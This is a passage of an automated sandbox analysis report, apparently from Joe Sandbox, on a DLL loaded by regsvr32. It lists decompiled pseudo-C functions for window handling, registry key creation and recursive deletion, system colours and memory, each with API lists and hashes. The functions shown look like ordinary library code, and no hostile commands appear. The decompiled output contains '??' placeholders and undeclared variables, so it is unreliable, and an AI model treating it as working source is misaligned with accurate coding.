				}
				_t34 = GetWindowLongA( *(_t72 + 0x20), 0xfffffffc);
				_t61 = _t34;
				E6EB4C687(_t72, _t85);
				if(GetWindowLongA( *(_t72 + 0x20), 0xfffffffc) == _t34) {
					_t43 =  *( *((intOrPtr*)( *_t72 + 0xf8))());
					if(_t43 != 0) {
						SetWindowLongA( *(_t72 + 0x20), 0xfffffffc, _t43);
					}
				}
				E6EB4C7B6(_t61, _t72);
				return  *((intOrPtr*)( *_t72 + 0x11c))();
			}

APIs

_memset.LIBCMT ref: 6EB4C8FF
SendMessageA.USER32 ref: 6EB4C928
GetWindowLongA.USER32 ref: 6EB4C93A
GetWindowLongA.USER32 ref: 6EB4C94B
SetWindowLongA.USER32(?,000000FC,?), ref: 6EB4C967

Strings

,, xrefs: 6EB4C91E

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: LongWindow$MessageSend_memset
String ID: ,
API String ID: 2997958587-3772416878
Opcode ID: 99448889f85a630b823998f384117fa612021e549fdf37b888e4a5b5a213f697
Instruction ID: ad83bcd9de93a66be1338004ddecc2e2b8e142ecd8a64669b94f863b26e93526
Opcode Fuzzy Hash: 99448889f85a630b823998f384117fa612021e549fdf37b888e4a5b5a213f697
Instruction Fuzzy Hash: F531BF31610695EFEB119FF8C884AADBBF8FF08714B110929E5569BA95EB30E408CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB51254 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101
registryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6EB51254(void* __ebx, void* __ecx, void __edx, void* __edi, void* __esi, void* __eflags) {
				void _t36;
				void* _t46;
				long _t60;
				void* _t65;
				void* _t81;
				void* _t82;
				intOrPtr _t90;

				_t77 = __edx;
				_t68 = __ecx;
				_t67 = __ebx;
				_push(0x124);
				E6EB66564(0x6eb7780d, __ebx, __edi, __esi);
				_t81 = __ecx;
				 *(_t82 - 0x120) = 0;
				 *(_t82 - 0x12c) = 0;
				_t36 = E6EB50F7F(__ecx, __edx);
				 *(_t82 - 0x128) = _t36;
				if(_t36 != 0) {
					do {
						_t65 = _t82 - 0x128;
						_push(_t65);
						_t68 = _t81;
						E6EB50F90();
						if(_t65 != 0) {
							_t77 =  *_t65;
							_t68 = _t65;
							 *((intOrPtr*)( *_t65 + 0xc))(0, 0xfffffffc, 0, 0);
						}
					} while ( *(_t82 - 0x128) != 0);
				}
				if( *((intOrPtr*)(_t81 + 0x54)) != 0) {
					_t90 =  *((intOrPtr*)(_t81 + 0x68));
					_t91 = _t90 == 0;
					if(_t90 == 0) {
						E6EB48BA4(_t67, _t68, 0, _t81, _t91);
					}
					_push("Software\\");
					E6EB491E8(_t67, _t82 - 0x11c, _t77, 0, _t81, _t91);
					 *((intOrPtr*)(_t82 - 4)) = 0;
					E6EB49070(_t82 - 0x11c,  *((intOrPtr*)(_t81 + 0x54)));
					_push("\\");
					_push(_t82 - 0x11c);
					_push(_t82 - 0x130);
					_t46 = E6EB5102C(_t67, 0, _t81, _t91);
					_push( *((intOrPtr*)(_t81 + 0x68)));
					 *((char*)(_t82 - 4)) = 1;
					_push(_t46);
					_push(_t82 - 0x124);
					E6EB5102C(_t67, 0, _t81, _t91);
					 *((char*)(_t82 - 4)) = 3;
					E6EB41020( *((intOrPtr*)(_t82 - 0x130)) + 0xfffffff0, _t77);
					_push(_t82 - 0x124);
					_t81 = 0x80000001;
					_push(0x80000001);
					E6EB510D6(_t67, _t77, 0, 0x80000001, _t91);
					if(RegOpenKeyA(0x80000001,  *(_t82 - 0x11c), _t82 - 0x120) == 0) {
						_t60 = RegEnumKeyA( *(_t82 - 0x120), 0, _t82 - 0x118, 0x104);
						_t93 = _t60 - 0x103;
						if(_t60 == 0x103) {
							_push(_t82 - 0x11c);
							_push(0x80000001);
							E6EB510D6(_t67, _t77, 0, 0x80000001, _t93);
						}
						RegCloseKey( *(_t82 - 0x120));
					}
					RegQueryValueA(_t81,  *(_t82 - 0x124), _t82 - 0x118, _t82 - 0x12c);
					E6EB41020( &(( *(_t82 - 0x124))[0xfffffffffffffff0]), _t77);
					E6EB41020( &(( *(_t82 - 0x11c))[0xfffffffffffffff0]), _t77);
				}
				return E6EB665E7(_t67, 0, _t81);
			}

0x6eb51254
0x6eb51254
0x6eb51254
0x6eb51254
0x6eb5125e
0x6eb51265
0x6eb51267
0x6eb5126d
0x6eb51273
0x6eb51278
0x6eb51280
0x6eb51282
0x6eb51282
0x6eb51288
0x6eb51289
0x6eb5128b
0x6eb51292
0x6eb51294
0x6eb5129b
0x6eb5129d
0x6eb5129d
0x6eb512a0
0x6eb51282
0x6eb512ab
0x6eb512b3
0x6eb512b9
0x6eb512bb
0x6eb512bd
0x6eb512bd
0x6eb512c2
0x6eb512cd
0x6eb512db
0x6eb512de
0x6eb512e3
0x6eb512ee
0x6eb512f5
0x6eb512f6
0x6eb512fb
0x6eb512fe
0x6eb51302
0x6eb51309
0x6eb5130a
0x6eb5131b
0x6eb5131f
0x6eb5132a
0x6eb5132b
0x6eb51330
0x6eb51331
0x6eb5134c
0x6eb51361
0x6eb51367
0x6eb5136c
0x6eb51374
0x6eb51375
0x6eb51376
0x6eb51376
0x6eb51381
0x6eb51381
0x6eb5139c
0x6eb513ab
0x6eb513b9
0x6eb513b9
0x6eb513c6

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB5125E
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 6EB51344
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 6EB51361
RegCloseKey.ADVAPI32(?), ref: 6EB51381
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 6EB5139C

Strings

Software\, xrefs: 6EB512C2

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CloseEnumH_prolog3_OpenQueryValue
String ID: Software\
API String ID: 1666054129-964853688
Opcode ID: 65592ca820e46ccab8f6f892701e12d9cd174bae3d605cd2e8bd20b1a93e6242
Instruction ID: 8e1a26699b05da6cf2dc58346a6fccaf7923225f2b013df52b0fb94910e624ab
Opcode Fuzzy Hash: 65592ca820e46ccab8f6f892701e12d9cd174bae3d605cd2e8bd20b1a93e6242
Instruction Fuzzy Hash: 0541E4308206A9ABCF22DFA0CC40ADEBBBDEF49314F140AD5E155E2244DB308BA4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB510D6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB510D6(signed int __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				long _t38;
				void* _t51;
				void* _t54;
				signed int _t57;
				void* _t67;
				void* _t71;
				void* _t73;
				void* _t76;

				_t76 = __eflags;
				_t67 = __edx;
				_t57 = __ebx;
				_push(0x124);
				E6EB6659A(0x6eb777c4, __ebx, __edi, __esi);
				_t71 =  *(_t73 + 8);
				 *(_t73 - 0x12c) = _t71;
				E6EB47A60(_t73 - 0x124, _t76,  *((intOrPtr*)(_t73 + 0xc)));
				 *((intOrPtr*)(_t73 - 4)) = 0;
				if(_t71 == 0x80000000) {
					_t51 = E6EB535FA();
					_t78 = _t51 - 1;
					if(_t51 == 1) {
						_push(_t73 - 0x124);
						_push("Software\\Classes\\");
						_push(_t73 - 0x120);
						_t54 = E6EB51081(__ebx, 0, _t71, _t78);
						 *((char*)(_t73 - 4)) = 1;
						E6EB48694(__ebx, _t73 - 0x124, _t54);
						 *((char*)(_t73 - 4)) = 0;
						E6EB41020( *((intOrPtr*)(_t73 - 0x120)) + 0xfffffff0, _t67);
						 *(_t73 - 0x12c) = 0x80000001;
					}
				}
				_t38 = RegOpenKeyA( *(_t73 - 0x12c),  *(_t73 - 0x124), _t73 - 0x128);
				_t72 = _t38;
				if(_t38 != 0) {
					L11:
					__eflags =  &(( *(_t73 - 0x124))[0xfffffffffffffff0]);
					E6EB41020( &(( *(_t73 - 0x124))[0xfffffffffffffff0]), _t67);
					return E6EB665F6(_t57, 0, _t72);
				} else {
					while(1) {
						_t72 = RegEnumKeyA( *(_t73 - 0x128), 0, _t73 - 0x11c, 0x104);
						_t81 = _t72;
						if(_t72 != 0) {
							break;
						}
						_push(_t73 - 0x11c);
						 *((char*)(_t73 - 4)) = 2;
						E6EB491E8(_t57, _t73 - 0x120, _t67, 0, _t72, _t81);
						 *((char*)(_t73 - 4)) = 3;
						_t72 = E6EB510D6(_t57, _t67, 0, _t72, _t81,  *(_t73 - 0x128), _t73 - 0x120);
						_t57 = _t57 & 0xffffff00 | _t72 != 0x00000000;
						 *((char*)(_t73 - 4)) = 2;
						E6EB41020( *((intOrPtr*)(_t73 - 0x120)) + 0xfffffff0, _t67);
						if(_t57 != 0) {
							break;
						}
						 *((intOrPtr*)(_t73 - 4)) = 0;
					}
					__eflags = _t72 - 0x103;
					if(_t72 == 0x103) {
						L9:
						_t72 = RegDeleteKeyA( *(_t73 - 0x12c),  *(_t73 - 0x124));
						L10:
						RegCloseKey( *(_t73 - 0x128));
						goto L11;
					}
					__eflags = _t72 - 0x3f2;
					if(_t72 != 0x3f2) {
						goto L10;
					}
					goto L9;
				}
			}

0x6eb510d6
0x6eb510d6
0x6eb510d6
0x6eb510d6
0x6eb510e0
0x6eb510e8
0x6eb510f2
0x6eb510f8
0x6eb510ff
0x6eb51108
0x6eb5110a
0x6eb5110f
0x6eb51112
0x6eb5111a
0x6eb51121
0x6eb51126
0x6eb51127
0x6eb51136
0x6eb5113a
0x6eb51148
0x6eb5114c
0x6eb51151
0x6eb51151
0x6eb51112
0x6eb5116e
0x6eb51174
0x6eb51178
0x6eb5123c
0x6eb51242
0x6eb51245
0x6eb51251
0x6eb5117e
0x6eb5117e
0x6eb51197
0x6eb51199
0x6eb5119b
0x00000000
0x00000000
0x6eb511a3
0x6eb511aa
0x6eb511ae
0x6eb511c0
0x6eb511cf
0x6eb511d3
0x6eb511d9
0x6eb511dd
0x6eb511e4
0x00000000
0x00000000
0x6eb511e6
0x6eb511e6
0x6eb5120c
0x6eb51212
0x6eb5121c
0x6eb5122e
0x6eb51230
0x6eb51236
0x00000000
0x6eb51236
0x6eb51214
0x6eb5121a
0x00000000
0x00000000
0x00000000
0x6eb5121a

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6EB510E0
RegOpenKeyA.ADVAPI32(?,?,?), ref: 6EB5116E
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 6EB51191

Part of subcall function 6EB51081: __EH_prolog3.LIBCMT ref: 6EB51088

Strings

Software\Classes\, xrefs: 6EB51121

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: EnumH_prolog3H_prolog3_catch_Open
String ID: Software\Classes\
API String ID: 3518408925-1121929649
Opcode ID: 86653038a53c3bfc150aaa227042e29d7d00004af023cdc96b9606c57698a46c
Instruction ID: 8677bbceb986e767acd34382a69a83a7222f98a6aee064709266bbe46e937914
Opcode Fuzzy Hash: 86653038a53c3bfc150aaa227042e29d7d00004af023cdc96b9606c57698a46c
Instruction Fuzzy Hash: 01316C71C105A89BCF229FA4CD44BDDBBB8EB09314F0805D5E999A3384D7304FA49F91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB56A31 Relevance: 10.6, APIs: 7, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EB56A31(intOrPtr __ecx) {
				struct HWND__* _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t15;
				long _t16;
				struct HWND__* _t17;
				void* _t18;
				struct HWND__* _t19;
				void* _t30;

				_t24 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_v12 = __ecx;
				_t15 = GetCapture();
				_t30 = SendMessageA;
				while(1) {
					_v8 = _t15;
					if(_t15 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, 0);
					__eflags = _t16;
					if(__eflags == 0) {
						_t15 = E6EB4DA58(_t24, 0x365, __eflags, _v8);
						continue;
					}
					L15:
					return _t16;
				}
				_t17 = GetFocus();
				while(1) {
					_v8 = _t17;
					if(_t17 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, 0);
					__eflags = _t16;
					if(__eflags == 0) {
						_t17 = E6EB4DA58(_t24, 0x365, __eflags, _v8);
						continue;
					}
					goto L15;
				}
				_t25 = _v12;
				_t18 = E6EB4DAA2(0, _v12, 0x365);
				_t34 = _t18;
				if(_t18 == 0) {
					_t18 = E6EB48BA4(0, _t25, 0x365, _t30, _t34);
				}
				_t19 = GetLastActivePopup( *(_t18 + 0x20));
				while(1) {
					_v8 = _t19;
					_push(0);
					if(_t19 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, ??);
					__eflags = _t16;
					if(__eflags == 0) {
						_t19 = E6EB4DA58(_t25, 0x365, __eflags, _v8);
						continue;
					}
					goto L15;
				}
				_t16 = SendMessageA( *(_v12 + 0x20), 0x111, 0xe147, ??);
				goto L15;
			}

APIs

GetCapture.USER32 ref: 6EB56A3E
SendMessageA.USER32 ref: 6EB56A59
GetFocus.USER32 ref: 6EB56A6E
SendMessageA.USER32 ref: 6EB56A7C
GetLastActivePopup.USER32(?), ref: 6EB56AA5
SendMessageA.USER32 ref: 6EB56AB2

Part of subcall function 6EB4DA58: GetWindowLongA.USER32 ref: 6EB4DA7E
Part of subcall function 6EB4DA58: GetParent.USER32(?), ref: 6EB4DA8C

SendMessageA.USER32 ref: 6EB56AD8

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastLongParentPopupWindow
String ID:
API String ID: 3338174999-0
Opcode ID: de7a52e8cba26205e3b33bd79cc2927cde5f8a4ce63e817cc07967ec5e5f2a21
Instruction ID: 1edb66caec03c81fad5dbae8e5ac0b2bd950dfaec3729396ca4b869a47f1919a
Opcode Fuzzy Hash: de7a52e8cba26205e3b33bd79cc2927cde5f8a4ce63e817cc07967ec5e5f2a21
Instruction Fuzzy Hash: B61160B0924199FFDF50AFE1CE85C9E7E7DEF41348B104475E601A2228E7318E10AFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB568CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB568CD(intOrPtr __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				int _v20;
				intOrPtr _v24;
				intOrPtr _t32;

				_t32 = __ecx;
				_v24 = __ecx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				if(RegOpenKeyExA(0x80000001, "software", 0, 0x2001f,  &_v8) == 0 && RegCreateKeyExA(_v8,  *(_t32 + 0x54), 0, 0, 0, 0x2001f, 0,  &_v12,  &_v20) == 0) {
					RegCreateKeyExA(_v12,  *(_v24 + 0x68), 0, 0, 0, 0x2001f, 0,  &_v16,  &_v20);
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				if(_v12 != 0) {
					RegCloseKey(_v12);
				}
				return _v16;
			}

0x6eb568ea
0x6eb568f1
0x6eb568f4
0x6eb568f7
0x6eb568fa
0x6eb56905
0x6eb5693c
0x6eb5693c
0x6eb56947
0x6eb5694c
0x6eb5694c
0x6eb56951
0x6eb56956
0x6eb56956
0x6eb5695f

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 6EB568FD
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6EB56920
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6EB5693C
RegCloseKey.ADVAPI32(?), ref: 6EB5694C
RegCloseKey.ADVAPI32(?), ref: 6EB56956

Strings

software, xrefs: 6EB568E5

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: d64634d02a2fa2aa26e2294749aa673ee9678e375df3325fc34b0bfdd8696eff
Instruction ID: e3eb66e4ec2a7afdb5bcd307e7228e8c8667d6814b668eeaf5651c0720832d4d
Opcode Fuzzy Hash: d64634d02a2fa2aa26e2294749aa673ee9678e375df3325fc34b0bfdd8696eff
Instruction Fuzzy Hash: 2111E372900199FB8B21DEDACD88CDFBFBDEFC9710B1100AAE514A2215D6319A54DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55983 Relevance: 10.6, APIs: 7, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6EB55983(void* __ecx, long* __edi, void* __esi) {
				long _t22;
				void* _t23;
				void* _t28;
				void* _t31;
				void* _t33;
				signed int _t35;
				long* _t40;
				void* _t41;
				void* _t42;

				_t41 = __esi;
				_t40 = __edi;
				_t31 = __ecx;
				LeaveCriticalSection( *((intOrPtr*)(_t42 - 0x18)) + 0x1c);
				E6EB667FC(0, 0);
				_t22 = E6EB4847A(_t31, 0, __edi[3], 4);
				_t33 = 2;
				_t23 = LocalReAlloc( *(__esi + 0xc), _t22, ??);
				_t46 = _t23;
				if(_t23 == 0) {
					LeaveCriticalSection( *(_t42 - 0x14));
					_t23 = E6EB48B6C(0, _t33, __edi, __esi, _t46);
				}
				 *(_t41 + 0xc) = _t23;
				E6EB65E80(_t40, _t23 +  *(_t41 + 8) * 4, 0, _t40[3] -  *(_t41 + 8) << 2);
				 *(_t41 + 8) = _t40[3];
				TlsSetValue( *_t40, _t41);
				_t35 =  *(_t42 + 8);
				_t28 =  *(_t41 + 0xc);
				if(_t28 != 0 && _t35 <  *(_t41 + 8)) {
					 *((intOrPtr*)(_t28 + _t35 * 4)) =  *((intOrPtr*)(_t42 + 0xc));
				}
				_push( *(_t42 - 0x14));
				LeaveCriticalSection();
				return E6EB665D3(_t28);
			}

0x6eb55983
0x6eb55983
0x6eb55983
0x6eb5598a
0x6eb55994
0x6eb559a0
0x6eb559a6
0x6eb559ab
0x6eb559b1
0x6eb559b3
0x6eb559b8
0x6eb559be
0x6eb559be
0x6eb559c6
0x6eb559d7
0x6eb559e3
0x6eb559e8
0x6eb559ee
0x6eb559f1
0x6eb559f6
0x6eb55a00
0x6eb55a00
0x6eb55a03
0x6eb55a09
0x6eb55a14

APIs

LeaveCriticalSection.KERNEL32(?), ref: 6EB5598A
__CxxThrowException@8.LIBCMT ref: 6EB55994

Part of subcall function 6EB667FC: RaiseException.KERNEL32(6EB4F121,00000000,00000000,00000000,6EB4F121), ref: 6EB6683E

LocalReAlloc.KERNEL32(?,00000000,00000002,00000000,00000010,?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765), ref: 6EB559AB
LeaveCriticalSection.KERNEL32(00000000,?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB559B8

Part of subcall function 6EB48B6C: __CxxThrowException@8.LIBCMT ref: 6EB48B82

_memset.LIBCMT ref: 6EB559D7
TlsSetValue.KERNEL32(?,00000000,00000000,00000000), ref: 6EB559E8
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB55A09

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalLeaveSection$Exception@8Throw$AllocExceptionLocalRaiseValue_memset
String ID:
API String ID: 356813703-0
Opcode ID: de9593d031976f5821eb5d9c9dd09e408a2a28b4ec38ea3b76ec558c74626b51
Instruction ID: d01f9d87665dc019aec68a369ac52a42c8b773b7829cc72f2c2e500dc83681cb
Opcode Fuzzy Hash: de9593d031976f5821eb5d9c9dd09e408a2a28b4ec38ea3b76ec558c74626b51
Instruction Fuzzy Hash: 1B117C70111645AFDF11EFA4CC84C6EBFB9FF00315710C929F55696A65CB30AC20CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6EB54528 Relevance: 10.5, APIs: 7, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB54528(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t18;

				_t18 = __ecx;
				 *((intOrPtr*)(_t18 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t18 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t18 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t18 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t18 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t18 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t18 + 0x20) = _t14;
				return _t14;
			}

0x6eb54534
0x6eb5453a
0x6eb54541
0x6eb54548
0x6eb5454f
0x6eb5455c
0x6eb54563
0x6eb54566
0x6eb54569
0x6eb5456d

APIs

GetSysColor.USER32(0000000F), ref: 6EB54536
GetSysColor.USER32(00000010), ref: 6EB5453D
GetSysColor.USER32(00000014), ref: 6EB54544
GetSysColor.USER32(00000012), ref: 6EB5454B
GetSysColor.USER32(00000006), ref: 6EB54552
GetSysColorBrush.USER32(0000000F), ref: 6EB5455F
GetSysColorBrush.USER32(00000006), ref: 6EB54566

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: d2dd2b856c6e8102aecbf07ad52b2b09e5774b051cf63da60747af6c084d124c
Instruction ID: 8093ae142b8feed7038ed781b9af8ca09443fbbcaa3fb38df8c1c0461c301bad
Opcode Fuzzy Hash: d2dd2b856c6e8102aecbf07ad52b2b09e5774b051cf63da60747af6c084d124c
Instruction Fuzzy Hash: 8EF01C719407489BDB30BF768D49B47BAE1FFC4B10F02092EE2858BA90E6B6E441DF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB618E8 Relevance: 9.3, APIs: 6, Instructions: 256
stringCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB618E8(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				CHAR* _t121;
				int _t122;
				CHAR* _t127;
				CHAR* _t135;
				CHAR* _t140;
				signed int _t141;
				CHAR* _t144;
				CHAR* _t148;
				CHAR* _t151;
				signed short _t154;
				signed int _t156;
				signed int _t160;
				signed int _t161;
				signed int _t172;
				CHAR* _t176;
				void* _t179;
				void* _t182;
				intOrPtr _t185;
				CHAR* _t188;
				CHAR* _t189;
				int _t191;
				char* _t194;
				void* _t195;
				void* _t196;
				CHAR* _t197;
				char* _t199;
				void* _t200;
				long long _t205;

				_t200 = __eflags;
				_t185 = __edx;
				_push(0x50);
				E6EB6659A(0x6eb783a9, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t196 - 0x34)) = __ecx;
				E6EB53D6C(_t196 - 0x2c, _t200,  *((intOrPtr*)(__ecx + 0x1c)));
				_t176 =  *(_t196 + 8);
				_t121 = _t176[8];
				_t187 = 0;
				 *(_t196 - 4) = 0;
				 *(_t196 - 0x19) = 0;
				 *(_t196 - 0x18) = _t121;
				if(_t121 == 0) {
					 *(_t196 - 0x18) = _t196 - 0x19;
				}
				_t122 = lstrlenA( *(_t196 - 0x18));
				_t202 =  *(_t196 + 0xc) & 0x0000000c;
				_t191 = _t122;
				 *(_t196 - 0x20) = _t176[0x10];
				 *(_t196 - 0x24) = _t176[0xc] & 0x0000ffff;
				if(( *(_t196 + 0xc) & 0x0000000c) == 0) {
					L11:
					_t192 =  *(_t196 + 0x14);
					_push( *(_t192 + 8) << 4);
					_t127 = E6EB48E82(_t176, _t185, _t187, _t192, __eflags);
					_pop(_t179);
					__eflags = _t127;
					if(_t127 != 0) {
						_t192 =  *(_t192 + 8);
						__eflags = _t192 - 0x7ffffff;
						if(_t192 > 0x7ffffff) {
							goto L12;
						}
						_t193 = _t192 << 4;
						E6EB66B00(_t192 << 4);
						 *(_t196 - 0x10) = _t197;
						 *(_t196 - 0x30) = _t197;
						E6EB65E80(_t187,  *(_t196 - 0x30), _t187, _t192 << 4);
						_t199 =  &(_t197[0xc]);
